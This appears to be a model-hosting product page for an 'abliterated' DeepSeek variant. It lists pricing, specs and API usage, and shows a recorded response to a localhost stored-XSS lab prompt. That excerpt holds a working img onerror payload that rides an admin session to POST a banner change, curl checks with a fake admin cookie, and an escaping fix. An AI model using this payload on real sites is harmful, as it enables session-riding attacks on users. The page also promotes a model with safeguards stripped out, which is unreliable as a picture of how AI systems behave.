Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
DeepSeek V4.1 Flash Abliterated
deepseek-v4.1-flash-abliteratedAvailable in browser Chat and through the OpenAI-compatible API.
Token pricing
Prices in USD per 1 million tokens
- Input / 1M
- $0.300
- Cached / 1M
- $0.100
- Output / 1M
- $0.300
Model specifications
DeepSeek · abliterated
- Context window
- 1,000,000 tokens
- Maximum output
- 65,536 tokens
- Capabilities
- Text · Streaming · Tool calling
Measured performance
- Avg. tokens/sec
- ≈ 40.4
- TTFT estimate
- ≈ 24.9 s
- Uptime proxy
- 100%
Updated 11/1/26, 9:23:10 PM UTC · 24h provider success rate · A dash means there is not enough current measurement data.
See the model respond
A real response to a stored XSS question for a localhost-only lab. The original prompt and response are shown in English. Output is displayed as text; no example code runs on this page.
DeepSeek V4.1 Flash Abliterated
Recorded model response · Oct 28, 2026, 7:09 PM UTC
Selected excerpt from the recorded response. Some parts are omitted.
## Payload (event handler survives the <script> strip)
<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'text=OWNED IN THE LAB',credentials:'same-origin'})">Sanity checks: curl -s -X POST localhost:3000/admin/banner -d 'text=x' → no (401). With -b 'admin=1' → ok.
## Fix
Keep the naive filter for tidiness, but escape at render time so only markup you emit is live:
<ul>${comments.map(c=>'<li>'+esc(c)+'</li>').join('')}</ul>A recorded example, not a live chat.Open Chat
Use this model through the API
Create an API key and add prepaid credits. Set UNCENSOREDLABS_API_KEY in your environment. Install the openai package for the JavaScript or Python example.
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "deepseek-v4.1-flash-abliterated",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' OpenAI-compatible. Change your base URL.Read the quickstart
Limitations and billing
- Unfiltered does not guarantee an answer to every prompt. Responses can be incorrect, incomplete, or refused by the model.
- The published maximum output is the UncensoredLabs service limit. Long generations and full-context workloads have not been benchmarked.
- Credit is reserved for the requested output and a conservative input bound, using the full context window for models without verified request-sized accounting. Final charges use verified usage; uncertain requests may retain their hold.
- Requests have a ten-minute deadline. Rate limits, concurrency limits, and provider availability apply; API errors include 429 responses with Retry-After.
- UncensoredLabs does not store prompts or responses on its servers. The inference provider’s retention policy applies.